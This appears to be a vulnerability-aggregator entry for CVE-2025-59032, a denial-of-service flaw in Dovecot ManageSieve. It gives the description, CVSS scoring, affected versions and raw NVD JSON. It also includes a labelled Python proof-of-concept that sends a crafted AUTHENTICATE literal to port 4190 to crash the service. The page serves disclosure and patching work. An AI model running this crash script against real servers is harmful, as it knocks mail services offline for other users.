Security Vulnerability Report
中文
CVE-2025-59032 CVSS 7.5 HIGH

CVE-2025-59032

Published: 2026-03-27 09:16:19
Last Modified: 2026-04-30 17:47:03

Description

ManageSieve AUTHENTICATE command crashes when using literal as SASL initial response. This can be used to crash ManageSieve service repeatedly, making it unavailable for other users. Control access to ManageSieve port, or disable the service if it's not needed. Alternatively upgrade to a fixed version. No publicly available exploits are known.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:* - VULNERABLE
Dovecot ManageSieve (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target configuration target_host = "192.168.1.10" target_port = 4190 # Default ManageSieve port # Craft the malicious payload # Using a literal as SASL initial response for AUTHENTICATE # This specific format triggers the parsing vulnerability payload = b'AUTHENTICATE "PLAIN" {10+}\r\nAAAAAAAAAA\r\n' try: # Establish TCP connection to ManageSieve service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # Receive server banner banner = s.recv(1024) print(f"[+] Banner: {banner.decode().strip()}") # Send the malicious payload print("[*] Sending malicious payload...") s.send(payload) # Attempt to receive response (Service might crash here) response = s.recv(1024) print(f"[+] Response: {response.decode().strip()}") except ConnectionResetError: print("[-] Connection reset by peer - Service likely crashed.") except socket.timeout: print("[-] Connection timed out - Service may be unresponsive.") except Exception as e: print(f"[-] Error: {e}") finally: s.close()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59032", "sourceIdentifier": "[email protected]", "published": "2026-03-27T09:16:18.933", "lastModified": "2026-04-30T17:47:03.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ManageSieve AUTHENTICATE command crashes when using literal as SASL initial response. This can be used to crash ManageSieve service repeatedly, making it unavailable for other users. Control access to ManageSieve port, or disable the service if it's not needed. Alternatively upgrade to a fixed version. No publicly available exploits are known."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.3", "matchCriteriaId": "BE209329-C5EA-4EE7-A23E-CD2EC061A9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionEndExcluding": "3.1.3", "matchCriteriaId": "F42BE52D-7DCD-474A-A2C8-9670C15BC878"}]}]}], "references": [{"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}